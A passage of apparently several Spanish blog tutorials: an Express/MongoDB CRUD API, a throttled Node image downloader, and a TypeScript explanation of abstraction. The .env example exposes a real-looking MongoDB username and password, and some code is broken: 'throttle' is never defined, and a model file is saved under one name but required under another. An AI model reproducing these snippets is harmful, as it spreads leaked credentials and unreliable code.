      express.urlencoded({
        extended: true,
      })
    );

    app.use(express.json());

    app.use(cors());

    app.use("/", indexRoutes);

    app.listen(config.app.port, () => {
      console.log(`🔥 Server is running at port ${config.app.port}`);
    });

    console.log("Connected to MongoDB");
  })
  .catch((error) => console.log(error));

Configuración de variables de entorno

Se puede observar, que en nuestro punto de entrada de nuestra aplicación estamos utilizando valores provenientes de la carpeta config mediante template strings, sin embargo, aún no lo hemos configurado. Para realizarlo, dentro de la carpeta config, crearemos un archivo llamado index.js

const dotenv = require("dotenv");
dotenv.config();

const { MONGO_URL, PORT_APP } = process.env;

const config = {
  db: {
    mongo: MONGO_URL,
  },
  app: {
    port: PORT_APP,
  },
};

module.exports = config;

Estamos desestrucutrando los valores provenientes de process.env gracias a dotenv, sin embargo, aún no tenemos valores para extraer. Por ende, crearemos en la raíz de nuestra aplicación un archivo llamado .env

PORT_APP=3000
MONGO_URL=mongodb+srv://brahiblog:brahiblog@cluster0.hfisa.mongodb.net/?retryWrites=true&w=majority

En nuestras variables de entorno, irán todos aquellos datos de carácter sensible. Y estos, bajo ninguna circunstancia deben aparecer en nuestro árbol de git. Para solventar, podemos crear un archivo llamado .gitignore en la raíz de nuestra aplicación.

.env
/node_modules

Models

Una vez hemos definido nuestra configuración inicial, podemos definir nuestro modelo producto. Para ello, dentro de la carpeta models, crearemos un archivo llamado product-model.js

const mongoose = require("mongoose");
const { Schema } = mongoose;

const ProductSchema = new Schema({
  title: {
    type: String,
    required: [true, "The title is required"],
    unique: true,
  },
  price: {
    type: Number,
    required: [true, "The price is required"],
  },
  description: {
    type: String,
    required: [true, "The description is required"],
  },
});

module.exports = mongoose.model("Product", ProductSchema);

Repositories

Una vez nuestro modelo está definido con las propiedades que requerimos, podemos pensar en nuestro repositorio y en las queries hacia nuestra base de datos. Para ello, crearemos dentro de la carpeta repositories, un archivo llamado product.repository.js

const Product = require("../models/product.model");

class ProductRepository {
  async findAll() {
    return await Product.find();
  }

  async findById(id) {
    return await Product.findById(id);
  }

  async create(product) {
    return await Product.create(product);
  }

  async update(id, product) {
    return await Product.findOneAndUpdate({ _id: id }, product, { new: true });
  }

  async delete(id) {
    return await Product.deleteOne({ _id: id });
  }
}

module.exports = new ProductRepository();

En el método update de esta clase, el objeto { new: true }, indica que en la response, nos devolverá el objeto editado, es decir, el nuevo objeto después de hacer dicha petición (update).

Services

Una vez hemos definido nuestro repositorio, podemos continuar con nuestra lógica de negocios. Para ello, dentro de la carpeta services, crearemos un archivo llamado products.service.js

const productRepository = require('../repositories/product.repository');

class PostService {
  async findAll() {
    try {
      return await productRepository.findAll();
    } catch (error) {
      throw new Error(error);
    }
  }

  async findById(id) {
    try {
      return await productRepository.findById(id);
    } catch (error) {
      throw new Error(error);
    }
  }

  async create(product) {
    try {
      return await productRepository.create(product);
    } catch (error) {
      throw new Error(error);
    }
  }

  async update(id, product) {
    try {
      return await productRepository.update(id, product, { new: true });
    } catch (error) {
      throw new Error(error);
    }
  }

  async delete(id) {
    try {
      return await productRepository.delete(id);
    } catch (error) {
      throw new Error(error);
    }
  }
}

module.exports = new PostService();

Nuestra lógica de negocios, además de hacer validaciones, también hará manejo de errores.

Controllers

Una vez hemos definido nuestro servicio, podemos continuar con nuestro controlador, quien será el único encargado de comunicarse con el protocolo HTPP, la Request y la Response. Para ello, dentro de la carpeta controllers, creamos un archivo llamado products.controller.js

const productsService = require('../services/products.service');

class ProductsController {
  async findAll(req, res) {
    const products = await productsService.findAll();

    res.status(200).json(products);
  }

  async findById(req, res) {
    const { id } = req.params;

    const product = await productsService.findById(id);
    res.status(200).json(product);
  }

  async create(req, res) {
    const { title, price, description } = req.body;

    const product = await productsService.create({ title, price, description });
    res.status(201).json(product);
  }

  async update(req, res) {
    const { id } = req.params;
    const { title, price, description } = req.body;

    const product = await productsService.update(id, { title, price, description });
    res.status(200).json(product);
  }

  async delete(req, res) {
    const { id } = req.params;

    const product = await productsService.delete(id);
    res.status(200).json(product);
  }
}

module.exports = new ProductsController();

Se puede observar que cada método está retornando la respuesta con un status code (en algunos casos, distintos). Estos códigos se les denomina códigos de estado de respuesta HTTP.

Routes

Una vez hemos definido nuestro controlador, debemos construir los endpoints por los cuales se realizarán las peticiones a nuestra API, en otras palabras, definiremos rutas con sus respectivos métodos. Para ello, dentro de la carpeta routes, crearemos un archivo llamado products.route.js

const { Router } = require("express");
const routes = Router();

const productsController = require("../controllers/products.controller");

routes.get("/", productsController.findAll);
routes.get("/:id", productsController.findById);
routes.post("/create", productsController.create);
routes.put("/update/:id", productsController.update);
routes.delete("/delete/:id", productsController.delete);

module.exports = routes;

Una vez tenemos nuestra ruta de productos con sus respectivos métodos, crearemos un índice de rutas, considerando que nuestra aplicación podría escalar. Para ello, dentro de la carpeta routes, crearemos un archivo llamado index.js

const { Router } = require('express');
const routes = Router();

const productsRoutes = require('./products.route');

routes.use('/products', productsRoutes);

module.exports = routes;

En este punto, deberíamos poder levantar nuestra aplicación sin problemas.

> npm run dev

> introbackend@1.0.0 dev
> nodemon .

[nodemon] 2.0.15
[nodemon] to restart at any time, enter `rs`
[nodemon] watching path(s): *.*
[nodemon] watching extensions: js,mjs,json
[nodemon] starting `node .`
Connected to MongoDB
🔥 Server is running at port 3000

Testing con Postman

Una vez tenemos nuestra aplicación corriendo, podemos realizar el test correspondiente a cada endpoint para confirmar que efectivamente, funcionan como se espera. Si bien el orden que por convención se suele seguir, es:

findAll
findById
create
update
delete

A efectos prácticos, comenzaremos haciendo test de nuestro método POST del protocolo HTTP, en nuestra ruta /products/create mediante el método create de nuestro controlador.

Se puede observar la response, con un status code 201 (created). Y el json que se ha creado. Luego, haremos un test de el método GET del protocolo HTTP, en nuestra ruta default /products mediante el método findAll de nuestro controlador.

Luego, haremos un test de el método GET del protocolo HTTP, en nuestra ruta /products/:id mediante el método findById de nuestro controlador

Se puede observar la response, con un status code 200 (ok). Y el json que se ha obtenido. Luego, haremos test del método PUT del protocolo HTTP, en nuestra ruta /products/update/:id mediante el método update de nuestro controlador. Para ello, debemos agregar el ID del producto que deseamos editar en los parámetros de ruta, y también el el body del json a editar.

Se puede observar la response, con un status code 200 (ok). Y el nuevo json editado. Por último, haremos test del método DELETE del protocolo HTTP, en nuestra ruta /products/delete/:id mediante el método delete de nuestro controlador. Para ello, debemos agregar el ID del producto que deseamos eliminar en los parámetros de ruta.

Se puede observar la response, con un status code 200. Y el deletedCount 1.

Agradecimientos

Un especial agradecimiento a Scorpion y Franco.

¡Hasta pronto 👋!

Si deseas colaborar con el contenido, regalame un cafecito ☕

Requisitos necesarios

axios

throttled-queue

En caso de no tener creada nuestra aplicación, procedemos a ejecutar:

npm init --y
npm i axios throttled-queue

Nota: Recordar que, tanto fs como path, vienen por defecto en Node.

Comenzamos a codear

Ahora, podemos proceder a solventar el problema. Crearemos un archivo llamado download.images.js en la carpeta que se considere adecuada. A efectos prácticos, al no tener una estructura definida, en mi caso, se creará en la raíz de mi aplicación.

const throttledQueue = require('throttled-queue');
const axios = require('axios');
const path = require('path');
const fs = require('fs');

async function downloadImages(fileUrl, downloadPath) {
    throttle(async () => {
        const fileName = path.basename(fileUrl);
        const localFilePath = path.resolve(__dirname, downloadPath, fileName);

        try {
            const response = await axios({
                method: 'GET',
                url: fileUrl,
                responseType: 'stream',
            });

            const writer = response.data.pipe(fs.createWriteStream(localFilePath));

            writer.on('finish', () => {
                console.log('Successfully downloaded file/s!');
            });

        } catch (error) {
            console.log(error);
            throw new Error(error);
        }
    })
};

module.exports = downloadImages;

Una vez tenemos definida nuestra función de descarga de imágenes, procedemos a su caso de uso. Para eso, necesitaremos nuestro arreglo de urls sobre el cual iterar mientras descargamos las imágenes una a una.

Crearemos un archivo index.js donde agregaremos un arreglo de urls de ejemplo:

const downloadImages = require('./download.images');

const urls = [
    'https://i.pinimg.com/originals/10/ee/1a/10ee1a02b96ed40101d1a2ed7d9bb9da.png',
    'https://masdeloqueimaginas.elmundo.es/assets/img/05/poster.jpg',
    'https://estaticos-cdn.elperiodico.com/clip/c4973cb3-c944-4ece-943d-0e118060cdaa_alta-libre-aspect-ratio_default_0.jpg',
]

urls.forEach(url => {
    downloadImages(url, 'download');
});

Como se ve en el código anterior, iteramos sobre nuestro arreglo de urls y además, le pasamos como segundo argumento a la función, un path correspondiente a la carpeta de descargas.

Nota: Crear dicha carpeta o definir la carpeta que se ajuste a tu necesidad.

Testing

Por último, para probar nuestra implementación, ejecutaremos nuestra aplicación.

node index

En la consola, veremos el siguiente mensaje (por cada imagen descargada). Successfully downloaded file/s!

¡Hasta pronto 👋!

Si deseas colaborar con el contenido, regalame un cafecito ☕

¿Qué es la abstracción?

Entiendase por abstracción como una operación mental destinada a aislar conceptualmente una propiedad o función concreta de un objeto, ignorando las demás. Para facilitar la interpretación, podemos pensar en algo tangible, como un vehículo. El cual tiene, por defecto, un tipo de motor el cual puede ser diesel, eléctrico u otro, una velocidad máxima y una fuente de poder (la cual se suele ver en caballos de fuerza o voltages).

type Motor = {
  type: "DIESEL" | "ELECTRIC" | "GASOLINE";
  power: number;
  maxSpeed: number;
};

class Car {
  motor: Motor;

  constructor(motor: Motor) {
    this.motor = motor;
  }
}

const volvoCar = new Car({
  type: "DIESEL",
  power: 100,
  maxSpeed: 200,
});

En dicho ejemplo, se pueden ver las diferentes partes (también tangibles) de nuestro vehículo, por separado. Esta visualización e interpretación mental, es la abstracción. Suponiendo que, para el vehículo en cuestión necesitamos una utilidad que calcule nuestra velocidad en tiempo real, así como el combustible restante, debemos nuevamente, por cuestiones de orden y buenas prácticas en cuanto a legibilidad y escalabilidad, pensar en abstracción.

class UtilitityCar extends Car {
  static motor: any;

  constructor(motor: Motor) {
    super(motor);
  }

  static getVelocityInRealTime(speed: number, time: number) {
    return speed * time;
  }

  static remainingFuel(distance: number) {
    return this.motor.power * distance;
  }
}

De esta forma, cada método cumple una función específica aislada de la otra, respetando la definición de abstracción.

¿Por qué importa?

En el desarrollo de software, tener un código abstracto, se traduce en orden, fácil entendimiento y por ende, fácil continuidad de desarrollo. Sin necesidad de tener funcionalidades acopladas unas con otras, haciendo que a la hora de cambiar una de estas, no afecte a todas las demas (principio de responsabilidad única).

¡Hasta pronto 👋!

Si deseas colaborar con el contenido, regalame un cafecito ☕